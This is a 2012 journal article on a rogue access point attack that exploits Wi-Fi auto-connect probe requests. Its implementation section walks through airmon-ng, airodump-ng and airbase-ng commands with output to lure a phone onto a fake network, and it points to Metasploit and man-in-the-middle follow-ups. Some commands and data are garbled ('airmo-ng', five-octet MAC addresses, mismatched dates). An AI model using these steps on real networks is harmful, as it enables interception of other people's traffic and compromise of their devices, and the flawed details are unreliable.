April 2012

WIRELESS EURYNOMUS A WIRELESS (802.11) PROBE REQUEST BASED ATTACK

HITESH CHOUDHARY

MIT (California), Wireless Researcher , Igneustech , Cyber Security Expert, RHCE Jaipur, India,
hitesh@hiteshchoudhary.com

PANKAJ MOOLRAJANI

MIT (California), Wireless Researcher , Igneustech , Cyber Security Expert, RHCE Jaipur, India,
pmoolrajani@gmail.com

Follow this and additional works at: <https://www.interscience.in/ijssan>

Part of the [Digital Communications and Networking Commons](#), and the [Electrical and Computer Engineering Commons](#)

Recommended Citation

CHOUDHARY, HITESH and MOOLRAJANI, PANKAJ (2012) "WIRELESS EURYNOMUS A WIRELESS (802.11) PROBE REQUEST BASED ATTACK," *International Journal of Smart Sensor and Adhoc Network*: Vol. 2 : Iss. 3 , Article 13.

DOI: 10.47893/IJSSAN.2013.1166

Available at: <https://www.interscience.in/ijssan/vol2/iss3/13>

This Article is brought to you for free and open access by the Interscience Journals at Interscience Research Network. It has been accepted for inclusion in International Journal of Smart Sensor and Adhoc Network by an authorized editor of Interscience Research Network. For more information, please contact sritampatnaik@gmail.com.

WIRELESS EURYNOMUS

A WIRELESS (802.11) PROBE REQUEST BASED ATTACK

HITESH CHOUDHARY¹ & PANKAJ MOOLRAJANI²

^{1,2}MIT (California), Wireless Researcher , Igneustech , Cyber Security Expert, RHCE Jaipur, India
E-mail : (www.hiteshchoudhary.com), hitesh@hiteshchoudhary.com, pmoolrajani@gmail.com

Abstract - The 802.11 standard for wireless includes a procedure of sending a continuous probe request to find out if there is a nearby Access Point available or not. Most of wireless clients like laptops or smart phones are configured to auto-connect. Due to this auto connect feature any client can be compromised disregarding the fact that Access Point is nearby or not. Even if the client is connected to legal Access Point, a simple disassociation packet in 802.11 headers can be helpful for an attacker to leak your personal as well as company's top secret information.

Keyword – probe request; probe response; beacon frames; virtual wireless routers; wireshark; wireless.

I. INTRODUCTION

In the recent years, the proliferation of laptop computers and smart phones has caused an increase in the range of places people perform computing. At the same time, network connectivity is becoming an increasingly integral part of computing environments. As a result, wireless networks of various kinds have gained much popularity. But with the added convenience of wireless access come new problems, not the least of which are heightened security concerns. When transmissions are broadcast over radio waves, interception and masquerading becomes trivial to anyone with a radio, and so there is a need to employ additional mechanisms to protect the communications.

In this article we want to focus on some of the hidden flaws that were never taken seriously. Auto-connect is a simple and one of the most conniving facility provided by all the clients of wireless Access Point. This feature can also be used to compromise a client and the attack is counted as one of the deadly silent attacks.

II. TARGET AUDIENCE

All though this attack can affect any of the technical and non technical user of 802.11 interface. But the technical details of this attack will contain some the advance details including the usage of wireshark, little understanding of packet details over wireless and some of the details about the probe and beacon frames that are disused in this article.

III. SCOPE OF ATTACK

This attack is almost new born to the world of wireless and internet. This attack is fully capable of creating an intermediate connection between any client and attacker. Talking about the scope of this attack, it can be of wide variety. For an example if an

attacker walks into a company premises and just by monitoring the air, he can easily find out the probes in air and can attack into the any laptop or he can attack to any smart phones and can collect contact details of clients. This is just a simple scenario; cases can be like T.J maxx credit card incident.

IV. HARDWARE AND SOFTWARE REQUIREMENTS

To perform this attack, we'll be needing a entire lab setup with some tools as a software requirements and some as a hardware requirements.

Hardware requirements include:

- [1] Access point
- [2] 2 laptop (1 as attacker and 1 as victim)
- [3] Wireless card (internal or external)
- [4] 1 smart phone (not an extreme requirement)

Software requirement

- [1] Backtrack operating system (4-revision2 or higher version).
- [2] All other required tools are preconfigured in it.

V. UNDERSTANDING PROBES AND BEACONS

When a client turns on its wireless interface, at the same moment the wireless interface starts to send many probe request to find if there is an access point is available or not. On the other hand similarly access point is also sending the beacon frames to show its presence. Once when the client get connects to an access point, there is a facility provided by different machines to remember that access point and whenever next time when clients came into the range, it automatically gets connected. This is simply because the client is continuously sending probe requests in the air to find if any saved AP is available.

VI. TYPES OF ATTACKS

- [1] IP level connectivity attacks (Metasploit based)
- [2] Relay the packets to AP (MITM based attacks)
- [3] Depending upon the usage, attacks can be integrated and client is still unknown.

VII. ATTACKS SCENARIO

To understand this attack, first of all scenario and little knowledge about working of the Access Point must be clear. So, what we are trying to implement is, A client who is not connected to any wireless AP and having his wireless interface up and running always transmits some probe request from its PNL i.e. Preferred Network List. It is just a sense of insecurity and shocking thing that it is independent of any AP.

First of all we'll try to make a monitor mode interface in the air, which can accept all the packets over the air regardless if the packet is destined for it or not. This is very similar to promiscuous mode over the wired network, used for the purpose of sniffing.

After finding the probes of the clients, we'll create a soft AP or known as virtual AP. A soft access point is created by a set of software which continuously sends out the beacon frames to show all nearby clients about its presence. Since the client is already attempting to connect to that access point. It will automatically connect to the attacker. Now, if a DHCP is running over the attacker it will automatically receive an IP or if there is no DHCP is running then client will receive an IP of the range 169.xxx.xxx.xxx will sent gratuitous packets. Once the IP is assigned, the tap interface created by soft

AP, can have IP level connectivity with the client and the best part is, client is still unaware and will remain.

VIII. IMPLEMENTATION

We have used a BackTrack machine (attacker) and a I-Phone (victim) to implement our attack scenario. A monitor mode interface is being created at the top of a wireless interface, this monitor mode interface can be easily created by using airmo-ng set of tools. Keep noting that the wlan0 (wireless) interface is up and running.

```
root@bt:~# airmo-ng start wlan0
```

```
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
```

```
PID    Name
1045   dhclient3
1656   dhclient3
Process with PID 1656 (dhclient3) is running on interface wlan0
```

```
Interface    Chipset          Driver
wlan0        Realtek RTL8187L rtl8187 - [phy0]
              (monitor mode enabled on mon0)
```

```
root@bt:~#
```

```
# airmo-ng start wlan0
```

Monitor mode enabled on mon0 indicates that the monitor mode has been created and now we can monitor the air.

To monitor the air, simply airodump can be used over the mon0 interface. This along with the AP will also give the details of the clients that are associated or trying to associate with the network in the surroundings

```
# airodump-ng mon0
```

CH 11 || Elapsed: 1 min || 2012-06-15 12:37

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
00:11:C6:00:93:70	-22	132	125	1	11	54	OPN		ZXDSL 531B
00:11:C6:00:93:70	-71	4	0	0	1	54	WEP		BSNL 98
E4:8F:8F:83:84	-71	3	0	0	10	54e	OPN		compt28-1o
C8:8C:8C:96:86	-72	11	0	0	11	54e	OPN		compt28-1o
E0:8F:8F:83:84	-71	1	1	0	10	54e	WPA	TKIP	PSK kiplnetgear

BSSID	STATION	PWR	Rate	Lost	Frames	Probe
(not associated)	5C:80:40:60:80	-43	0	1	0	29
(not associated)	18:F4:00:4C:7F	-73	0	1	0	1
00:11:C6:00:93:70	C4:FE:00:5E:80	-1	54	0	0	19
00:11:C6:00:93:70	CC:AF:00:65:80	-9	54	54	243	21
00:11:C6:00:93:70	BC:37:00:B2:80	-24	54	54	221	33
00:11:C6:00:93:70	C8:DA:00:BA:80	-33	54	24	217	57
00:11:C6:00:93:70	00:65:00:58:80	-37	0	1	0	20

probe requests by clients

After finding the probe request name, attacker can easily create a soft AP or virtual access point with any of the bssid as well as any essid. Here I have used a essid of name Hitesh just for the sake of example.

```
# airbase-ng -a <bssid> -e <ssid/name> mon0
```

Airbase set of tools have got a lots of options, it can send response to any of the probe request that client is transmitting via its radio but for the sake of simplicity we have used this scenario .

The interesting thing about this soft AP is that it also creates a tap interface. Its little basic that our access point always have 2 cards in it, one is wireless and other is for wired interface. This tap interface is the same clone of wired interface named as at0.

```
root@bt:~# airbase-ng -a 00:00:00:00:93:08 -e hitesh mon0
12:47:37 Created tap interface at0
12:47:37 Trying to set MTU on at0 to 1500
12:47:37 Access Point with BSSID 00:00:00:00:93:08 started.
As a result of this client will automatically get connect to this "hitesh" Ap. And since there is no DHCP is running over the attacker machine.
```

Client will get an IP address of the range 169.xxx.xxx.xxx and will try to send gratuitous packets. One can also use these packets as an ARP packet to sent it back to IP. So, there is can be attack at every phase.

One can also verify this by using wireshark and capturing each and every packet. These packet will show that client is again and again trying to send DHCP request and failing to that finally it is getting an IP range Of 169.xxx.xxx.xxx. In the mean while one can also set a DHCP and can easily transfer the packets to the internet via its bridge interface and can perform Man In The Middle Attacks.

Now the final step is to just up the at0 interface and set the ip of the same range and same subnet that can be easily done with the ipconfig utility

```
# ifconfig -a
```

```
root@bt:~# ifconfig -a
at0      Link encap:Ethernet  HWaddr 00:c0:ca:54:0f:c5
         BROADCAST MULTICAST  MTU:1500  Metric:1
         RX packets:98 errors:0 dropped:0 overruns:0 frame:0
         TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:500
         RX bytes:20993 (20.9 KB)  TX bytes:0 (0.0 B)
```

Finally the proof of the IP level connectivity, Post that one can easily launch some Metasploit modules or other various set of attacks.

```
# ifconfig at0
# ping 169.254.28.3
```

```

root@bt:~# ifconfig at0
at0      Link encap:Ethernet  HWaddr 00:c0:ca:54:0f:c5
          inet addr:169.254.28.8  Bcast:169.254.28.255  Mask:255.255.255.0
          inet6 addr: fe80::2c0:caff:fe54:fc5/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:149 errors:0 dropped:0 overruns:0 frame:0
          TX packets:15 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:500
          RX bytes:32545 (32.5 KB)  TX bytes:1014 (1.0 KB)

root@bt:~# ping 169.254.28.3
PING 169.254.28.3 (169.254.28.3) 56(84) bytes of data.
64 bytes from 169.254.28.3: icmp_seq=1 ttl=255 time=12.5 ms
64 bytes from 169.254.28.3: icmp_seq=2 ttl=255 time=7.32 ms
64 bytes from 169.254.28.3: icmp_seq=3 ttl=255 time=8.05 ms
64 bytes from 169.254.28.3: icmp_seq=4 ttl=255 time=8.05 ms
64 bytes from 169.254.28.3: icmp_seq=5 ttl=255 time=8.08 ms
64 bytes from 169.254.28.3: icmp_seq=6 ttl=255 time=7.34 ms
^C
--- 169.254.28.3 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5007ms
rtt min/avg/max/mdev = 7.328/8.563/12.523/1.802 ms

```

ACKNOWLEDGMENT

Acknowledgment to Igneustech for providing appropriate equipment's and lab environment.

REFERENCES

- [1] www.aircrack-ng.org
- [2] www.aircrack-ng.org/doku.php?id=airodump-ng
- [3] www.wireshark.org/
- [4] Interception Mobile Communications, The Insecurity of 802.11 – ISAAC www.isaac.cs.berkeley.edu/isaac/mobicom.pdf
- [5] An Overview of 802.11 Wireless Network Security Standards & Mechanisms By: Luis Wong (posted on January 19, 2005)
- [6] Remote Access Point/IDS By: Jared Kee (posted on April 10, 2012).